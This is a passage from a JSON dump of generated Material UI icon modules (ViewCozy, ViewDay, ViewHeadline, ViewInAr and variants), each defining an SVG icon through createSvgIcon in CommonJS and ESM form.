    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 13.25h2.5v-2.5H4zM4 18h2.5v-2.5H4zm4.5-9.5H11V6H8.5zm9 9.5H20v-2.5h-2.5zm0-4.75H20v-2.5h-2.5zm0-7.25v2.5H20V6zM13 8.5h2.5V6H13zm-4.5 4.75H11v-2.5H8.5zm0 4.75H11v-2.5H8.5zM4 8.5h2.5V6H4zm9 4.75h2.5v-2.5H13zM13 18h2.5v-2.5H13z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v16h20V4zm4.5 14H4v-2.5h2.5zm0-4.75H4v-2.5h2.5zm0-4.75H4V6h2.5zM11 18H8.5v-2.5H11zm0-4.75H8.5v-2.5H11zm0-4.75H8.5V6H11zm4.5 9.5H13v-2.5h2.5zm0-4.75H13v-2.5h2.5zm0-4.75H13V6h2.5zM20 18h-2.5v-2.5H20zm0-4.75h-2.5v-2.5H20zm0-4.75h-2.5V6H20z\"\n}, \"1\")], 'ViewCompactTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 13.25h2.5v-2.5H4zM4 18h2.5v-2.5H4zm4.5-9.5H11V6H8.5zm9 9.5H20v-2.5h-2.5zm0-4.75H20v-2.5h-2.5zm0-7.25v2.5H20V6zM13 8.5h2.5V6H13zm-4.5 4.75H11v-2.5H8.5zm0 4.75H11v-2.5H8.5zM4 8.5h2.5V6H4zm9 4.75h2.5v-2.5H13zM13 18h2.5v-2.5H13z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v16h20V4zm4.5 14H4v-2.5h2.5zm0-4.75H4v-2.5h2.5zm0-4.75H4V6h2.5zM11 18H8.5v-2.5H11zm0-4.75H8.5v-2.5H11zm0-4.75H8.5V6H11zm4.5 9.5H13v-2.5h2.5zm0-4.75H13v-2.5h2.5zm0-4.75H13V6h2.5zM20 18h-2.5v-2.5H20zm0-4.75h-2.5v-2.5H20zm0-4.75h-2.5V6H20z\"\n}, \"1\")], 'ViewCompactTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCozy.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8.75 12.75h-4v-4h4zm0-5.5h-4v-4h4zm5.5 5.5h-4v-4h4zm0-5.5h-4v-4h4z\"\n}), 'ViewCozy');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCozy.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8.75 12.75h-4v-4h4zm0-5.5h-4v-4h4zm5.5 5.5h-4v-4h4zm0-5.5h-4v-4h4z\"\n}), 'ViewCozy');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCozyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.25 7.25h4v4h-4zm5.5 0h4v4h-4zm-5.5 5.5h4v4h-4zm5.5 0h4v4h-4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\")], 'ViewCozyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCozyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.25 7.25h4v4h-4zm5.5 0h4v4h-4zm-5.5 5.5h4v4h-4zm5.5 0h4v4h-4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\")], 'ViewCozyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCozyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-9.25 12.75h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m0-5.5h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m5.5 5.5h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m0-5.5h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5\"\n}), 'ViewCozyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCozyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-9.25 12.75h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m0-5.5h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m5.5 5.5h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m0-5.5h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5\"\n}), 'ViewCozyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCozySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zM11.25 16.75h-4v-4h4zm0-5.5h-4v-4h4zm5.5 5.5h-4v-4h4zm0-5.5h-4v-4h4z\"\n}), 'ViewCozySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCozySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zM11.25 16.75h-4v-4h4zm0-5.5h-4v-4h4zm5.5 5.5h-4v-4h4zm0-5.5h-4v-4h4z\"\n}), 'ViewCozySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCozyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h16V6H4zm8.75-10.75h4v4h-4zm0 5.5h4v4h-4zm-5.5-5.5h4v4h-4zm0 5.5h4v4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.25 7.25h4v4h-4zm5.5 0h4v4h-4zm-5.5 5.5h4v4h-4zm5.5 0h4v4h-4z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"2\")], 'ViewCozyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCozyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16V6H4zm8.75-10.75h4v4h-4zm0 5.5h4v4h-4zm-5.5-5.5h4v4h-4zm0 5.5h4v4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.25 7.25h4v4h-4zm5.5 0h4v4h-4zm-5.5 5.5h4v4h-4zm5.5 0h4v4h-4z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"2\")], 'ViewCozyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewDay.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 21h19v-3H2zM20 8H3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h17c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1M2 3v3h19V3z\"\n}), 'ViewDay');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewDay.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 21h19v-3H2zM20 8H3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h17c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1M2 3v3h19V3z\"\n}), 'ViewDay');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewDayOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 18H2v2h19zm-2-8v4H4v-4zm1-2H3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h17c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m1-4H2v2h19z\"\n}), 'ViewDayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewDayOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 18H2v2h19zm-2-8v4H4v-4zm1-2H3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h17c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m1-4H2v2h19z\"\n}), 'ViewDayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewDayRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h17c.55 0 1-.45 1-1v-1c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1M20 8H3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h17c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1M2 4v1c0 .55.45 1 1 1h17c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1\"\n}), 'ViewDayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewDayRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h17c.55 0 1-.45 1-1v-1c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1M20 8H3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h17c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1M2 4v1c0 .55.45 1 1 1h17c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1\"\n}), 'ViewDayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewDaySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 21h19v-3H2zM21 8H2v8h19zM2 3v3h19V3z\"\n}), 'ViewDaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewDaySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 21h19v-3H2zM21 8H2v8h19zM2 3v3h19V3z\"\n}), 'ViewDaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewDayTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 10h15v4H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 18h19v2H2zM20 8H3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h17c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 6H4v-4h15zM2 4h19v2H2z\"\n}, \"1\")], 'ViewDayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewDayTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 10h15v4H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 18h19v2H2zM20 8H3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h17c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 6H4v-4h15zM2 4h19v2H2z\"\n}, \"1\")], 'ViewDayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewHeadline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 15h16v-2H4zm0 4h16v-2H4zm0-8h16V9H4zm0-6v2h16V5z\"\n}), 'ViewHeadline');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewHeadline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 15h16v-2H4zm0 4h16v-2H4zm0-8h16V9H4zm0-6v2h16V5z\"\n}), 'ViewHeadline');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewHeadlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 15h16v-2H4zm0 4h16v-2H4zm0-8h16V9H4zm0-6v2h16V5z\"\n}), 'ViewHeadlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewHeadlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 15h16v-2H4zm0 4h16v-2H4zm0-8h16V9H4zm0-6v2h16V5z\"\n}), 'ViewHeadlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewHeadlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1m0 4h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1m0-8h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1M4 6c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1\"\n}), 'ViewHeadlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewHeadlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1m0 4h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1m0-8h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1M4 6c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1\"\n}), 'ViewHeadlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewHeadlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 15h16v-2H4zm0 4h16v-2H4zm0-8h16V9H4zm0-6v2h16V5z\"\n}), 'ViewHeadlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewHeadlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 15h16v-2H4zm0 4h16v-2H4zm0-8h16V9H4zm0-6v2h16V5z\"\n}), 'ViewHeadlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewHeadlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 15h16v-2H4zm0 4h16v-2H4zm0-8h16V9H4zm0-6v2h16V5z\"\n}), 'ViewHeadlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewHeadlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 15h16v-2H4zm0 4h16v-2H4zm0-8h16V9H4zm0-6v2h16V5z\"\n}), 'ViewHeadlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewInAr.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.25 7.6-5.5-3.18c-.46-.27-1.04-.27-1.5 0L5.75 7.6c-.46.27-.75.76-.75 1.3v6.35c0 .54.29 1.03.75 1.3l5.5 3.18c.46.27 1.04.27 1.5 0l5.5-3.18c.46-.27.75-.76.75-1.3V8.9c0-.54-.29-1.03-.75-1.3M7 14.96v-4.62l4 2.32v4.61zm5-4.03L8 8.61l4-2.31 4 2.31zm1 6.34v-4.61l4-2.32v4.62zM7 2H3.5C2.67 2 2 2.67 2 3.5V7h2V4h3zm10 0h3.5c.83 0 1.5.67 1.5 1.5V7h-2V4h-3zM7 22H3.5c-.83 0-1.5-.67-1.5-1.5V17h2v3h3zm10 0h3.5c.83 0 1.5-.67 1.5-1.5V17h-2v3h-3z\"\n}), 'ViewInAr');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewInAr.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.25 7.6-5.5-3.18c-.46-.27-1.04-.27-1.5 0L5.75 7.6c-.46.27-.75.76-.75 1.3v6.35c0 .54.29 1.03.75 1.3l5.5 3.18c.46.27 1.04.27 1.5 0l5.5-3.18c.46-.27.75-.76.75-1.3V8.9c0-.54-.29-1.03-.75-1.3M7 14.96v-4.62l4 2.32v4.61zm5-4.03L8 8.61l4-2.31 4 2.31zm1 6.34v-4.61l4-2.32v4.62zM7 2H3.5C2.67 2 2 2.67 2 3.5V7h2V4h3zm10 0h3.5c.83 0 1.5.67 1.5 1.5V7h-2V4h-3zM7 22H3.5c-.83 0-1.5-.67-1.5-1.5V17h2v3h3zm10 0h3.5c.83 0 1.5-.67 1.5-1.5V17h-2v3h-3z\"\n}), 'ViewInAr');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewInArOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 4c0-.55.45-1 1-1h2V1H4C2.34 1 1 2.34 1 4v2h2zm0 16v-2H1v2c0 1.66 1.34 3 3 3h2v-2H4c-.55 0-1-.45-1-1M20 1h-2v2h2c.55 0 1 .45 1 1v2h2V4c0-1.66-1.34-3-3-3m1 19c0 .55-.45 1-1 1h-2v2h2c1.66 0 3-1.34 3-3v-2h-2zm-2-5.13V9.13c0-.72-.38-1.38-1-1.73l-5-2.88c-.31-.18-.65-.27-1-.27s-.69.09-1 .27L6 7.39c-.62.36-1 1.02-1 1.74v5.74c0 .72.38 1.38 1 1.73l5 2.88c.31.18.65.27 1 .27s.69-.09 1-.27l5-2.88c.62-.35 1-1.01 1-1.73m-8 2.3-4-2.3v-4.63l4 2.33zm1-6.33L8.04 8.53 12 6.25l3.96 2.28zm5 4.03-4 2.3v-4.6l4-2.33z\"\n}), 'ViewInArOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewInArOutlined.mjs",
